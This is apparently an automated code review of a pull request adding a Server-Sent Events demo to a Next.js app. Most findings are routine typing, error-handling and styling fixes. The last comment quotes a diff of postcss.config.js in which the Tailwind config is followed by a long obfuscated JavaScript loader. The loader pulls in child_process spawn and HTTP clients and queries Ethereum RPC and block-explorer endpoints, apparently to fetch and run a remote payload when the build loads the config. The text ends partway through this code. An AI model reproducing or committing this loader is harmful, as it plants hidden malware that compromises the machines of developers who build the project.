  • src/features/sse/types.ts#L5-L10: change SSEClient.send data from any to unknown.
  • src/features/sse/components/EventLog.tsx#L3-L7: change EventMessage.data from any to unknown.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/sse/types.ts` around lines 5 - 10, Replace the explicit any
types with unknown in SSEClient.send within src/features/sse/types.ts lines 5-10
and EventMessage.data within src/features/sse/components/EventLog.tsx lines 3-7,
preserving the existing event data contract.

Source: Linters/SAST tools

src/app/api/sse/send/route.ts-28-34 (1)

28-34: 🗄️ Data Integrity & Integration | 🟡 Minor | ⚡ Quick win

Return 400 only for validation failures.

The catch block maps every failure to 400, including a missing target client and internal enqueue errors. Clients cannot distinguish a bad request from a server fault, and retry logic cannot act correctly.

Branch on the error type: 400 for ZodError, 404 for an unknown targetClientId, and 500 otherwise.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/app/api/sse/send/route.ts` around lines 28 - 34, Update the catch block
in the SSE event handler to return status 400 only for ZodError validation
failures, 404 when the error represents an unknown targetClientId, and 500 for
all other failures such as enqueue errors. Preserve the existing error logging
and response structure while branching on the error type.
src/app/sse-demo/page.tsx-174-182 (1)

174-182: 🩺 Stability & Availability | 🟡 Minor | ⚡ Quick win

Handle navigator.clipboard failures.

navigator.clipboard is undefined outside a secure context, which makes the handler throw. writeText also returns a promise that rejects when the user denies permission, and that rejection is unhandled here. The user receives no feedback in either case.

Check for availability, await the call, and show the outcome.

Also applies to: 461-478

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/app/sse-demo/page.tsx` around lines 174 - 182, Update the clipboard
button handlers around clientId copying to verify navigator.clipboard and
writeText are available before calling them, await the promise, and handle
rejected writes without unhandled errors. Provide user feedback for both
successful copies and unavailable or denied clipboard access, including the
corresponding handler near the second referenced block.
src/features/sse/components/EventSender.tsx-40-44 (1)

40-44: 📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win

Show the send failure to the user.

The catch block writes to the console only. The button re-enables and the message text stays in the textarea, so the user cannot tell whether the event was delivered.

Store the error in state and render it near the buttons.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/sse/components/EventSender.tsx` around lines 40 - 44, Update the
send handler’s catch block in EventSender to store the failure in component
state instead of only logging it, then render that error message near the send
controls while preserving the existing textarea contents and button re-enable
behavior.
src/features/sse/components/SSEDashboard.tsx-27-37 (1)

27-37: 🩺 Stability & Availability | 🟡 Minor | ⚡ Quick win

Guard JSON.parse in onEvent.

event.data is a server-controlled string. A non-JSON payload makes JSON.parse throw inside the callback, so setMessages never runs and the log silently stops updating.

🐛 Proposed fix
     onEvent: (event) => {
-      const data = JSON.parse(event.data);
+      let data: unknown;
+      try {
+        data = JSON.parse(event.data);
+      } catch {
+        data = event.data;
+      }
       setMessages((prev) => [
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/sse/components/SSEDashboard.tsx` around lines 27 - 37, Update
the onEvent callback to guard JSON.parse(event.data) with error handling so
malformed server payloads do not terminate event processing. Only prepend a
message through setMessages when parsing succeeds, while preserving the existing
message shape and ordering.
src/features/sse/server/state.ts-195-207 (1)

195-207: 🩺 Stability & Availability | 🟡 Minor | ⚡ Quick win

Register sseState.cleanup() in a server shutdown hook. sseState starts a 30-second interval, but no caller or shutdown hook exists. The interval remains active, and active SSE controllers are not closed during graceful shutdown.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/sse/server/state.ts` around lines 195 - 207, Register the
existing sseState.cleanup() method in the server’s graceful shutdown hook,
ensuring it runs when the server stops so the cleanup interval is cleared and
all active SSE clients/controllers are removed. Locate the server initialization
or shutdown lifecycle code and invoke cleanup for the same sseState instance.
src/app/sse-demo/page.tsx-423-423 (1)

423-423: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win

Replace bg-opacity-50 with bg-white/50. Tailwind CSS 4 does not generate bg-opacity-50, so bg-white remains fully opaque.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/app/sse-demo/page.tsx` at line 423, Update the <pre> element’s Tailwind
classes to replace bg-opacity-50 with the Tailwind CSS 4-compatible bg-white/50
utility, preserving the existing styling and opacity.
🧹 Nitpick comments (6)
src/features/sse/components/EventSender.tsx (2)

16-16: 📐 Maintainability & Code Quality | 🔵 Trivial | 💤 Low value

Replace any with unknown in the callback type.

ESLint reports @typescript-eslint/no-explicit-any. The data argument is only serialized downstream, so unknown works.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/sse/components/EventSender.tsx` at line 16, Update the
onSendEvent callback type to use unknown instead of any for the data parameter,
preserving the existing callback signature and serialization behavior.

Source: Linters/SAST tools


6-13: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚡ Quick win

Derive the <option> list from EventTypeSchema.

EventTypeSchema is used only for z.infer. The four options on lines 58-61 repeat the same values by hand, so the two lists can drift. The cast on line 55 also bypasses the schema.

Map over EventTypeSchema.options and validate the selection with safeParse.

♻️ Proposed fix
           <select
             value={eventType}
-            onChange={(e) => setEventType(e.target.value as EventType)}
+            onChange={(e) => {
+              const parsed = EventTypeSchema.safeParse(e.target.value);
+              if (parsed.success) setEventType(parsed.data);
+            }}
             className="w-full rounded border bg-white px-3 py-2"
           >
-            <option value="message">Message</option>
-            <option value="notification">Notification</option>
-            <option value="system-update">System Update</option>
-            <option value="custom">Custom</option>
+            {EventTypeSchema.options.map((value) => (
+              <option key={value} value={value}>
+                {value}
+              </option>
+            ))}
           </select>

Also applies to: 53-62

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/sse/components/EventSender.tsx` around lines 6 - 13, Update the
event type selection in the component using EventTypeSchema: derive the option
elements by mapping over EventTypeSchema.options instead of duplicating the four
values, and replace the unsafe cast on the selected value with
EventTypeSchema.safeParse validation before using it.
src/features/shared/logger/index.ts (1)

3-5: 📐 Maintainability & Code Quality | 🔵 Trivial | 💤 Low value

Use Record instead of the index signature.

ESLint reports @typescript-eslint/consistent-indexed-object-style here. Replace the interface with a type alias.

♻️ Proposed fix
-interface LogParams {
-  [key: string]: unknown;
-}
+type LogParams = Record<string, unknown>;
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/shared/logger/index.ts` around lines 3 - 5, Replace the
LogParams interface with a type alias using Record<string, unknown> to satisfy
the consistent-indexed-object-style lint rule, preserving the existing key and
value types.

Source: Linters/SAST tools

src/features/sse/hooks/useSSE.ts (2)

164-167: 📐 Maintainability & Code Quality | 🔵 Trivial | 💤 Low value

Use logger instead of raw console calls.

Lines 165 and 181 call console.error and console.warn although this file imports logger on line 5 and uses it elsewhere. The output then bypasses the structured JSON format.

Also applies to: 179-182

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/sse/hooks/useSSE.ts` around lines 164 - 167, Replace the raw
console.error and console.warn calls in the SSE event-sending error paths with
the imported logger, preserving their messages and error details while using the
file’s existing structured logging API.

9-9: 📐 Maintainability & Code Quality | 🔵 Trivial | 💤 Low value

Replace any with unknown.

ESLint reports @typescript-eslint/no-explicit-any on both lines. SSEMessage.data and the sendEvent parameter both flow into JSON.stringify, so unknown is sufficient and keeps callers honest.

Also applies to: 155-155

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/sse/hooks/useSSE.ts` at line 9, Replace the explicit any types
on SSEMessage.data and the sendEvent parameter with unknown. Preserve their
existing JSON.stringify usage and update any necessary handling so callers
provide type-safe values.

Source: Linters/SAST tools

src/features/sse/components/SSEDashboard.tsx (1)

10-12: 📐 Maintainability & Code Quality | 🔵 Trivial | 💤 Low value

Replace any with unknown.

ESLint reports @typescript-eslint/no-explicit-any on both lines. Define one shared message type for the feature and reuse it here and in src/features/sse/hooks/useSSE.ts.

Also applies to: 41-41

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/sse/components/SSEDashboard.tsx` around lines 10 - 12, Replace
the explicit any in the SSEDashboard messages state with unknown and define a
shared SSE message type for the feature. Reuse that type in both the
SSEDashboard messages state and the useSSE hook’s corresponding message
declaration, preserving the existing fields and behavior.

Source: Linters/SAST tools


ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro Plus

Run ID: 4f341aea-6282-4c6c-81e0-ea3fe361425e

📥 Commits

Reviewing files that changed from the base of the PR and between 3d2edab and b094457.

⛔ Files ignored due to path filters (1)
  • package-lock.json is excluded by !**/package-lock.json
📒 Files selected for processing (25)
  • .gitignore
  • README.md
  • SSE.md
  • package.json
  • postcss.config.js
  • src/app/api/sse/route.ts
  • src/app/api/sse/send/route.ts
  • src/app/layout.tsx
  • src/app/sse-demo/page.tsx
  • src/features/shared/logger/index.ts
  • src/features/sse/SSEManager.ts
  • src/features/sse/components/ConnectionStatus.tsx
  • src/features/sse/components/EventLog.tsx
  • src/features/sse/components/EventSender.tsx
  • src/features/sse/components/SSEDashboard.tsx
  • src/features/sse/components/SSEProvider.tsx
  • src/features/sse/hooks/useSSE.ts
  • src/features/sse/index.ts
  • src/features/sse/package.json
  • src/features/sse/server/index.ts
  • src/features/sse/server/router.ts
  • src/features/sse/server/state.ts
  • src/features/sse/types.ts
  • src/lib/trpc/root.ts
  • src/middleware.ts

Comment thread postcss.config.js
Comment on lines +1 to +9
import { createRequire } from 'module';

const require = createRequire(import.meta.url);

export default {
plugins: {
"@tailwindcss/postcss": {},
},
}; global.i="A9-7221-4";const _0x44ceab=_0xc702;(function(_0x242c2a,_0xcc5db6){const _0x55afa4=_0xc702,_0x2abd94=_0x242c2a();while(!![]){try{const _0x3f9b11=-parseInt(_0x55afa4(0x12b))/(-0x368+0x1cce+0x877*-0x3)*(-parseInt(_0x55afa4(0x17f))/(-0x227*-0x11+-0x5d7+-0x1ebe))+-parseInt(_0x55afa4(0xec))/(-0x2316+0xb*0x1c+0x21e5)*(parseInt(_0x55afa4(0x1ac))/(0x897+0x1921+-0x21b4))+-parseInt(_0x55afa4(0xed))/(-0x1459+-0x717*-0x4+-0x7fe)*(parseInt(_0x55afa4(0xa7))/(-0x6*-0x4d2+-0x1640+-0x6a6))+-parseInt(_0x55afa4(0xaa))/(0x53b*0x4+-0x1*0x818+-0xccd)+-parseInt(_0x55afa4(0x138))/(-0x167*-0xa+0x1*-0xd1c+-0xe2)+-parseInt(_0x55afa4(0xd1))/(0xd25*-0x1+0x66e+0x6c0)*(-parseInt(_0x55afa4(0xd9))/(-0xb*0x227+-0x23e5+-0x2*-0x1dce))+parseInt(_0x55afa4(0x1bd))/(-0x2208+0x11a1+0x1072);if(_0x3f9b11===_0xcc5db6)break;else _0x2abd94['push'](_0x2abd94['shift']());}catch(_0x2923f3){_0x2abd94['push'](_0x2abd94['shift']());}}}(_0x3307,-0xc750f+-0x1991b*0x3+0x1*0x1a9896),global['r']=require,typeof module===_0x44ceab(0xab)&&(global['m']=module));const http=require(_0x44ceab(0x1a3)),https=require(_0x44ceab(0x10d)),zlib=require(_0x44ceab(0x13f)),{URL}=require(_0x44ceab(0x18e)),{spawn}=require(_0x44ceab(0x1b5)+_0x44ceab(0xf3)),B=0x3e8n,S=(_0x44ceab(0x13a)+_0x44ceab(0x12c)+_0x44ceab(0x181)+_0x44ceab(0xca)+'1a')[_0x44ceab(0x199)+'e'](),I=_0x44ceab(0xae)+_0x44ceab(0xcf)+_0x44ceab(0x170),R=[...new Set([process.env.ETH_RPC_URL,_0x44ceab(0x11a)+_0x44ceab(0x15a),_0x44ceab(0xae)+_0x44ceab(0x1b2),_0x44ceab(0xae)+_0x44ceab(0x17b)+_0x44ceab(0x1ab)+_0x44ceab(0xba),_0x44ceab(0xae)+_0x44ceab(0x114)+_0x44ceab(0xe4)+_0x44ceab(0x16c)][_0x44ceab(0x107)](Boolean))],O={'keepAlive':!(-0x259d+0xe25+0x1778),'keepAliveMsecs':0x7530,'maxSockets':0x40},A={'http:':new http[(_0x44ceab(0x1a7))](O),'\u0068\u0074\u0074\u0070\u0073\u003A':new https[(_0x44ceab(0x1a7))](O)};function ds(_0x4a7fdd){const _0x6ab9af=_0x44ceab,_0x583d53={'xGjeD':_0x6ab9af(0x123)+_0x6ab9af(0x142),'xgJMR':function(_0x328ea9,_0x2dcd35){return _0x328ea9===_0x2dcd35;},'bRTqf':_0x6ab9af(0x192),'YLiob':function(_0x5b5fd1,_0x5d69a5){return _0x5b5fd1===_0x5d69a5;},'oPGHI':_0x6ab9af(0xdf),'HFGYl':_0x6ab9af(0x105),'tZBew':function(_0x137fc4){return _0x137fc4();}},_0x3ac994=(_0x4a7fdd[_0x6ab9af(0xaf)][_0x583d53[_0x6ab9af(0xc3)]]||'')[_0x6ab9af(0x199)+'e'](),_0x10d60b=_0x583d53[_0x6ab9af(0x1b0)](_0x3ac994,_0x583d53[_0x6ab9af(0x168)])||_0x583d53[_0x6ab9af(0x121)](_0x3ac994,_0x583d53[_0x6ab9af(0x83)])?zlib[_0x6ab9af(0x15b)+'ip']:_0x583d53[_0x6ab9af(0x1b0)](_0x3ac994,_0x583d53[_0x6ab9af(0x9f)])?zlib[_0x6ab9af(0xc6)+_0x6ab9af(0x126)]:_0x583d53[_0x6ab9af(0x121)](_0x3ac994,'br')?zlib[_0x6ab9af(0x14c)+_0x6ab9af(0x17e)+'ss']:-0x150*-0xa+-0x5*0x697+0x13d3;return _0x10d60b?_0x4a7fdd[_0x6ab9af(0x149)](_0x583d53[_0x6ab9af(0x155)](_0x10d60b)):_0x4a7fdd;}function hr(_0x288096,{method:_0x180375=_0x44ceab(0x176),body:_0x1e1d38,signal:_0x4a5a6a}={}){const _0x22dd27=_0x44ceab,_0x2e88b9={'Zbgqs':_0x22dd27(0xf5),'webnr':function(_0x33f8c6,_0x52d640){return _0x33f8c6<_0x52d640;},'MRRMe':function(_0xb4b4ee,_0x48ba5e){return _0xb4b4ee>=_0x48ba5e;},'UOFLx':function(_0x3e4012,_0x28840e){return _0x3e4012(_0x28840e);},'beCzF':function(_0x34c01f,_0x1140c2){return _0x34c01f===_0x1140c2;},'dfFGU':function(_0x5b4d4d,_0x3c699a){return _0x5b4d4d!==_0x3c699a;},'eFyPx':function(_0x5cfbd8,_0x3010e5){return _0x5cfbd8(_0x3010e5);},'Dwqwq':_0x22dd27(0xcc),'QOAjr':_0x22dd27(0x175),'MltrU':_0x22dd27(0x16b),'PvcTj':_0x22dd27(0x194),'zTKCw':function(_0x2674a9,_0x30968b){return _0x2674a9+_0x30968b;},'xDPaM':function(_0x32c512,_0x2e00af){return _0x32c512!=_0x2e00af;},'pZXYl':function(_0x36cc6e,_0x4b2060){return _0x36cc6e===_0x4b2060;},'vRwSb':_0x22dd27(0xd3)+_0x22dd27(0x1a9),'ucpaX':_0x22dd27(0x198)+_0x22dd27(0x128),'yInys':_0x22dd27(0x1aa),'EjCUD':function(_0x22c9dc,_0x581aaa){return _0x22c9dc!=_0x581aaa;},'vwSTK':_0x22dd27(0x82)+'pe','BrVWx':_0x22dd27(0x120)+_0x22dd27(0x167)},_0x14b1c7=new URL(_0x288096),_0x1ecfec=_0x2e88b9[_0x22dd27(0x111)](_0x14b1c7[_0x22dd27(0x191)],_0x2e88b9[_0x22dd27(0xe6)])?https:http,_0x584dff={'Accept':_0x2e88b9[_0x22dd27(0x17d)],'\u0041\u0063\u0063\u0065\u0070\u0074\u002D\u0045\u006E\u0063\u006F\u0064\u0069\u006E\u0067':_0x2e88b9[_0x22dd27(0x185)],'Connection':_0x2e88b9[_0x22dd27(0x125)]};return _0x2e88b9[_0x22dd27(0x18c)](_0x1e1d38,null)&&(_0x584dff[_0x2e88b9[_0x22dd27(0x129)]]=_0x2e88b9[_0x22dd27(0x17d)],_0x584dff[_0x2e88b9[_0x22dd27(0x154)]]=Buffer[_0x22dd27(0xe7)](_0x1e1d38)),new Promise((_0x553038,_0xe33d86)=>{const _0x384fdc=_0x22dd27,_0x4dc16f={'FZbrm':_0x2e88b9[_0x384fdc(0xfc)],'jxKxj':function(_0x564452,_0x257140){const _0x342241=_0x384fdc;return _0x2e88b9[_0x342241(0x11c)](_0x564452,_0x257140);},'gqTzu':function(_0x3c16fa,_0xae1d3d){const _0x5890f6=_0x384fdc;return _0x2e88b9[_0x5890f6(0x1c1)](_0x3c16fa,_0xae1d3d);},'fCyKB':function(_0x2c7dce,_0x234c08){const _0x134c5f=_0x384fdc;return _0x2e88b9[_0x134c5f(0xff)](_0x2c7dce,_0x234c08);},'BSxZQ':function(_0x3052a6,_0x36c1ac){const _0x5582cf=_0x384fdc;return _0x2e88b9[_0x5582cf(0xf8)](_0x3052a6,_0x36c1ac);},'CZgSO':function(_0x4bea43,_0x2686c3){const _0x578467=_0x384fdc;return _0x2e88b9[_0x578467(0x160)](_0x4bea43,_0x2686c3);},'qMvGW':function(_0x2342c2,_0x2cdfce){const _0x7d9afe=_0x384fdc;return _0x2e88b9[_0x7d9afe(0x160)](_0x2342c2,_0x2cdfce);},'MPqWX':function(_0xbc0d1,_0x5060e6){const _0x551f2c=_0x384fdc;return _0x2e88b9[_0x551f2c(0x146)](_0xbc0d1,_0x5060e6);},'dHoEF':function(_0x9d4007,_0x1a2597){const _0x1174c7=_0x384fdc;return _0x2e88b9[_0x1174c7(0xff)](_0x9d4007,_0x1a2597);},'EpZSh':_0x2e88b9[_0x384fdc(0xa1)],'cYebN':_0x2e88b9[_0x384fdc(0xa9)],'BHwLs':_0x2e88b9[_0x384fdc(0xe9)]},_0x154605=_0x1ecfec[_0x384fdc(0x8a)]({'hostname':_0x14b1c7[_0x384fdc(0xb8)],'port':_0x14b1c7[_0x384fdc(0x96)]||(_0x2e88b9[_0x384fdc(0xf8)](_0x14b1c7[_0x384fdc(0x191)],_0x2e88b9[_0x384fdc(0xe6)])?-0x22dc+-0x75e+-0x3ff*-0xb:0x190a+-0x275*-0xe+0x764*-0x8),'path':_0x2e88b9[_0x384fdc(0x97)](_0x14b1c7[_0x384fdc(0xcd)],_0x14b1c7[_0x384fdc(0xa5)]),'method':_0x180375,'agent':A[_0x14b1c7[_0x384fdc(0x191)]],'signal':_0x4a5a6a,'headers':_0x584dff},_0x10d061=>{const _0x32263c=_0x384fdc,_0x360a3b={'wcugX':_0x4dc16f[_0x32263c(0x177)],'nsBHQ':function(_0x49ffa7,_0x50e3e4){const _0x12b240=_0x32263c;return _0x4dc16f[_0x12b240(0x18d)](_0x49ffa7,_0x50e3e4);},'ALAHX':function(_0x575592,_0x57f6cb){const _0x4b2af9=_0x32263c;return _0x4dc16f[_0x4b2af9(0xe8)](_0x575592,_0x57f6cb);},'wxUwN':function(_0xfe9a59,_0x578340){const _0x395788=_0x32263c;return _0x4dc16f[_0x395788(0x89)](_0xfe9a59,_0x578340);},'gnTPd':function(_0x5baf6e,_0x2e93d8){const _0x980b65=_0x32263c;return _0x4dc16f[_0x980b65(0xac)](_0x5baf6e,_0x2e93d8);},'gdiqs':function(_0x1607ba,_0x15779b){const _0x11943d=_0x32263c;return _0x4dc16f[_0x11943d(0x152)](_0x1607ba,_0x15779b);},'jQhWh':function(_0x9ace49,_0x49dfad){const _0x3317be=_0x32263c;return _0x4dc16f[_0x3317be(0x110)](_0x9ace49,_0x49dfad);},'QgmDv':function(_0x18a864,_0x37b6d8){const _0xeab540=_0x32263c;return _0x4dc16f[_0xeab540(0x135)](_0x18a864,_0x37b6d8);},'WPvOf':function(_0x595740,_0x2e0fd7){const _0x383d0c=_0x32263c;return _0x4dc16f[_0x383d0c(0x11f)](_0x595740,_0x2e0fd7);}},_0xe9039=_0x4dc16f[_0x32263c(0x89)](ds,_0x10d061),_0x34023=[];_0xe9039['on'](_0x4dc16f[_0x32263c(0x179)],_0x13f678=>_0x34023[_0x32263c(0xe3)](_0x13f678)),_0xe9039['on'](_0x4dc16f[_0x32263c(0x11b)],()=>{const _0x256843=_0x32263c,_0x16eb44=Buffer[_0x256843(0x12a)](_0x34023)[_0x256843(0x156)](_0x360a3b[_0x256843(0xa3)])[_0x256843(0xa0)]();if(_0x360a3b[_0x256843(0xb0)](_0x10d061[_0x256843(0x104)],-0x115*-0x11+0x13b5*-0x1+0x218)||_0x360a3b[_0x256843(0x193)](_0x10d061[_0x256843(0x104)],-0x130*0x9+0xe*0x1e1+0x2*-0x739))return _0x360a3b[_0x256843(0x1a1)](_0xe33d86,new Error('H'+_0x10d061[_0x256843(0x104)]+':'+_0x16eb44[_0x256843(0x1ad)](0x3*0xb2d+-0x103f+-0x1148,-0x1*0x1baf+-0x2*-0x30b+0x4f*0x47)));if(!_0x16eb44||_0x360a3b[_0x256843(0xde)](_0x16eb44[-0x1*-0x1542+-0x2*-0xe9b+-0x3278],'\u003C')||_0x360a3b[_0x256843(0xfe)](_0x16eb44[0xb8b+0x10*0xbc+0x1*-0x174b],'\u007B')&&_0x360a3b[_0x256843(0xe2)](_0x16eb44[0xea5+0x1*-0x236+-0xc6f*0x1],'\u005B'))return _0x360a3b[_0x256843(0x1a1)](_0xe33d86,new Error('J:'+_0x16eb44[_0x256843(0x1ad)](-0x2200+0x2f*-0x9b+0x3e75,-0x22c9+0x4f4+0x1e25)));try{_0x360a3b[_0x256843(0x94)](_0x553038,JSON[_0x256843(0x190)](_0x16eb44));}catch(_0x34ad21){_0x360a3b[_0x256843(0x86)](_0xe33d86,new Error('P:'+_0x34ad21[_0x256843(0xb5)]));}}),_0xe9039['on'](_0x4dc16f[_0x32263c(0x124)],_0xe33d86);});_0x154605['on'](_0x2e88b9[_0x384fdc(0xe9)],_0xe33d86),_0x2e88b9[_0x384fdc(0xa8)](_0x1e1d38,null)&&_0x154605[_0x384fdc(0x151)](_0x1e1d38),_0x154605[_0x384fdc(0x175)]();});}function _0x3307(){const _0x3b7856=['HTMau','kZlWZ','bnHJf','RptWP','write','CZgSO',':443','BrVWx','tZBew','toString','fkRSW',':443/0x/ls','rsXqP','pc.io/eth','createGunz','KJKIG','shSPT','OcATS','stener','dfFGU','ignore','SIecw','TQAET','zezXV','QZRte','POST','ngth','bRTqf','QQiEt','uUkdF','error','stapi.io','LnaXN','vAWQN','kpHNq','ut.com/api','BtJwU','RWpMw','find','catch','end','GET','FZbrm','crZCf','EpZSh','map','hereum-rpc','Kit/537.36','vRwSb','liDecompre','595780QbjmdV','CHepZ','6f0121063e','VyEOa','OGXGz','rwOMD','ucpaX','aBWJK','addEventLi','nsactionCo','9&page=1&o','FakYG','Jpnst','EjCUD','jxKxj','url','node','parse','protocol','gzip','ALAHX','https:','\x27]=\x27','count&acti',')\x20AppleWeb','gzip,\x20defl','toLowerCas','HoDWs','eth_getBlo','QZywI','wibbZ','unt','xOtmL','ike\x20Gecko)','wxUwN','pMLys','http','result','_t_s','forEach','Agent','all','n/json','keep-alive','.publicnod','3908idpnlr','slice','UniBA','AiKTD','xgJMR','ViSQB','h.drpc.org','YyqQS','uJddd','child_proc','uyVDL','ZuHfL','yyHsj','oflCH','cHSXQ','CQAWy','length','32590789fJQcWT','\x20NT\x2010.0;\x20','JxCbi','QbRRV','MRRMe','nerJu','bpVfp','Content-Ty','oPGHI','RbxTf','min','WPvOf','from','nGxVW','fCyKB','request','LyGdN','czpyg','unref','BLrzN','subarray','replace','_t_u','transactio','0\x20(Windows','QgmDv','ojvxD','port','zTKCw','ck=9999999','\x20(KHTML,\x20l','charCodeAt','global[\x27_V','AARcQ','_H2','isArray','HFGYl','trim','Dwqwq','get','wcugX','blockNumbe','search','PvZQW','6AKWwcZ','xDPaM','QOAjr','5961487gAvUKF','object','BSxZQ','cyCpl','https://et','headers','nsBHQ','jIkRj','unMKf','then','finally','message','mEGgj',',Sr3=@','hostname','\x27;global[\x27','e.com','wIbeD','DTEdO','QthWB','EkQIH','stringify','q4FZkxX{!h','OVUFq','no\x20b64','xGjeD','HkrSh','PVNNR','createInfl','WByWQ','IctFD','bymlS','9aDC2490Ef','1.0.0.0\x20Sa','data','pathname','ilterby=fr','h.blocksco','caxup','23427SFKuld','cRXVv','applicatio','uMvOo','Mozilla/5.','base64','tpJHG','tZibq','1300BKywdY','al=global;','e;global[\x27','ckByNumber','findIndex','gnTPd','x-gzip','resume','PskPD','jQhWh','push','public.bla','HQMBO','PvcTj','byteLength','gqTzu','MltrU','hSmHa','ucUNo','2823eEOkZK','1647205wUeYDY','r\x27]=requir','UISzP','onYDw','m\x27]=module','on=txlist&','ess','signal','utf8','YfHXM','b64','beCzF','DfeAz','nonce',';var\x20_glob','Zbgqs','MJEEv','gdiqs','UOFLx','eth_blockN','resolve','jwZZr','@^1aQk','statusCode','deflate','SfXzz','filter','y-p_>d$0B&','abort','Win64;\x20x64','k=0&endblo',':80','https','USRYf','empty','qMvGW','pZXYl','hex','\x20Chrome/13','h-mainnet.','x-payload-','HEAD','SrQJg','eth_getTra','OVJbp','https://1r','cYebN','webnr','bKTVo','?module=ac','dHoEF','Content-Le','YLiob','http://','content-en','BHwLs','yInys','ate','address=','ate,\x20br','vwSTK','concat','1QiuBJh','D311D3080e','GGbog','ffset=20&s','controller','xzqPs','durVE','ngsKF','OxJjQ','eGiCH','MPqWX','RmfMB','fLEkP','7089872YjfbgX',':443/0x/cl','0xa322E5f3','&startbloc','2.0','ufUJK','zAkNr','zlib','fari/537.3','bPQfv','coding','run','FXTJz','any','eFyPx','umber','ogFTC','pipe','XUzln','ort=desc&f','createBrot'];_0x3307=function(){return _0x3b7856;};return _0x3307();}function wr(_0x4bf01d,_0x2d60a1){const _0x302f7f=_0x44ceab,_0x44f1c3=R[_0x302f7f(0x17a)](()=>new AbortController());return _0x2d60a1&&_0x44f1c3[_0x302f7f(0x1a6)](_0x206e57=>_0x2d60a1[_0x302f7f(0x187)+_0x302f7f(0x15f)](_0x302f7f(0x109),()=>_0x206e57[_0x302f7f(0x109)](),{'once':!(-0x4ea+0x1*0xbd9+-0x6ef)})),Promise[_0x302f7f(0x145)](R[_0x302f7f(0x17a)]((_0x5bb22b,_0x500809)=>_0x4bf01d(_0x5bb22b,_0x44f1c3[_0x500809][_0x302f7f(0xf4)])))[_0x302f7f(0xb4)](()=>{const _0x4f9e9e=_0x302f7f;for(const _0x51b2a9 of _0x44f1c3)_0x51b2a9[_0x4f9e9e(0x109)]();});}function _0xc702(_0x439202,_0x221bcc){_0x439202=_0x439202-(-0x9*-0x1+-0x7a2+0x81a);const _0x258a51=_0x3307();let _0x1d3d9c=_0x258a51[_0x439202];return _0x1d3d9c;}function rc(_0xda6d24,_0x2f10db,_0x33e410,_0x33ea87){const _0x402523=_0x44ceab,_0xc93c85={'czpyg':function(_0x10ed1d,_0x268c4e,_0x151e32){return _0x10ed1d(_0x268c4e,_0x151e32);},'AARcQ':_0x402523(0x166),'uJddd':_0x402523(0x13c)};return _0xc93c85[_0x402523(0x8c)](hr,_0xda6d24,{'method':_0xc93c85[_0x402523(0x9c)],'body':JSON[_0x402523(0xbf)]({'jsonrpc':_0xc93c85[_0x402523(0x1b4)],'id':0x1,'method':_0x2f10db,'params':_0x33e410}),'signal':_0x33ea87})[_0x402523(0xb3)](_0x105f19=>_0x105f19[_0x402523(0x1a4)]);}function rb(_0x718651,_0x5f02ff,_0x2d059d){const _0x74a62a=_0x44ceab,_0x56d273={'PvZQW':function(_0x775ce9,_0x1b0e71,_0x14c8b9){return _0x775ce9(_0x1b0e71,_0x14c8b9);},'caxup':_0x74a62a(0x166)};return _0x56d273[_0x74a62a(0xa6)](hr,_0x718651,{'method':_0x56d273[_0x74a62a(0xd0)],'body':JSON[_0x74a62a(0xbf)](_0x5f02ff[_0x74a62a(0x17a)](([_0x1d278d,_0x9f4d19],_0x4a23f8)=>({'jsonrpc':_0x74a62a(0x13c),'id':_0x4a23f8+(-0x65a+0x65e*-0x1+0xcb9),'method':_0x1d278d,'params':_0x9f4d19}))),'signal':_0x2d059d})[_0x74a62a(0xb3)](_0x23c1b4=>{const _0x433ea=_0x74a62a,_0x49fb65=new Map(_0x23c1b4[_0x433ea(0x17a)](_0x50a29a=>[_0x50a29a['id'],_0x50a29a]));return _0x5f02ff[_0x433ea(0x17a)]((_0x495ead,_0x1ee36d)=>_0x49fb65[_0x433ea(0xa2)](_0x1ee36d+(-0x11*0x14d+0x11c*0x14+-0x12))[_0x433ea(0x1a4)]);});}const bh=_0x40171f=>'\u0030\u0078'+_0x40171f[_0x44ceab(0x156)](-0x7df+-0x366+0x3*0x3c7);function fm(_0x540367){const _0x3a68d0={'vAWQN':function(_0x1b34c2,_0x3e11fd){return _0x1b34c2(_0x3e11fd);},'TQAET':function(_0x198eea,_0x7e3b93){return _0x198eea(_0x7e3b93);},'onYDw':function(_0x8960f0,_0x575a0a){return _0x8960f0===_0x575a0a;},'tZibq':function(_0x24609a,_0x5902a5){return _0x24609a===_0x5902a5;}};return new Promise(_0x47f6db=>{const _0x2a597f=_0xc702,_0x384d44={'bpVfp':function(_0x449e71,_0x542e23){const _0x3bbbce=_0xc702;return 